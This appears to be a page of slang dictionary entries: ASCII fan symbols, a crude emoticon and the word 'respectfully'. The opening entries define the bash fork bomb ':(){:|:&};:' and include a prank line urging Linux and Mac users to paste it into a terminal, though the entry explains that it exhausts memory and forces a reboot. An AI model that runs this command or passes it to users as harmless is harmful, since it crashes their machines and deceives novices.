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:(){:|:&};: 

If you are on Linux or Mac, open terminal and paste this. You'll be delighted. If you're on Windows, lol.
:(){:|:&};:
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:(){:|:&};: 

Many people online have named their cat this Unix command, and told people to run it in their terminal.

(spoiler alert; It's a fork bomb, but for your ram)
Person 1: *sends image with caption of "This cat's name is :(){:|:&};: you should type his name on your linux's terminal"*
Person 2: (likely a beginner) "uhh ok"
Person 1, seeing Person 2 go offline: "lol he actually fell for it"

Person 2 after system reboot: "192.168.0.1"
:(){:|:&};: by XatuKazooie2335 March 17, 2025
Text representation of an instruction to kiss one's ass. Can either be a retort, are a sexual invitation.
Guy1: Watup
Girl1: (_|*)
Guy1: Nice! When you wanna meet up?
Girl1: Gah!
(_|*) by fcsuper December 23, 2009
Symbol of 'Rawwk Fingers' used by Christina Grimmie fans.
"Yo! Team Grimmie rawwks!" \|/
\|/ by ScaryTRex August 28, 2017
A symbol used by fans of the band twenty one pilots. The symbol has no widespread meaning, but is more supposed to have a personal meaning to the user. It has been connected to the song "Kitchen Sink" and is all over tøp merchandise.
Person 1: twenty one pilots is sick as frick, man!
Person 2: yeah. skeleton clique for life! |-/
|-/ by TheRunAndGo April 13, 2016
One of the symbols commonly used for the band Twenty One Pilots.
Me:*watching a Twenty One Pilots video on YouTube*
Me: *comments |-/*
Other people who comment: *replies |-/*
|-/ by Fushoji.tea July 1, 2016
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Respectfully 

Precedes or follows either a gratuitously disrespectful or honest remark, originated in New York City. Used in similar fashion to "no offense" or "to be honest," interchangeably.
Ya mans is wild buns, respectfully. Respectfully he's washed.

After school, The Modells on Jamaica Ave was active. Respectfully.
Respectfully by john quan the first December 20, 2020
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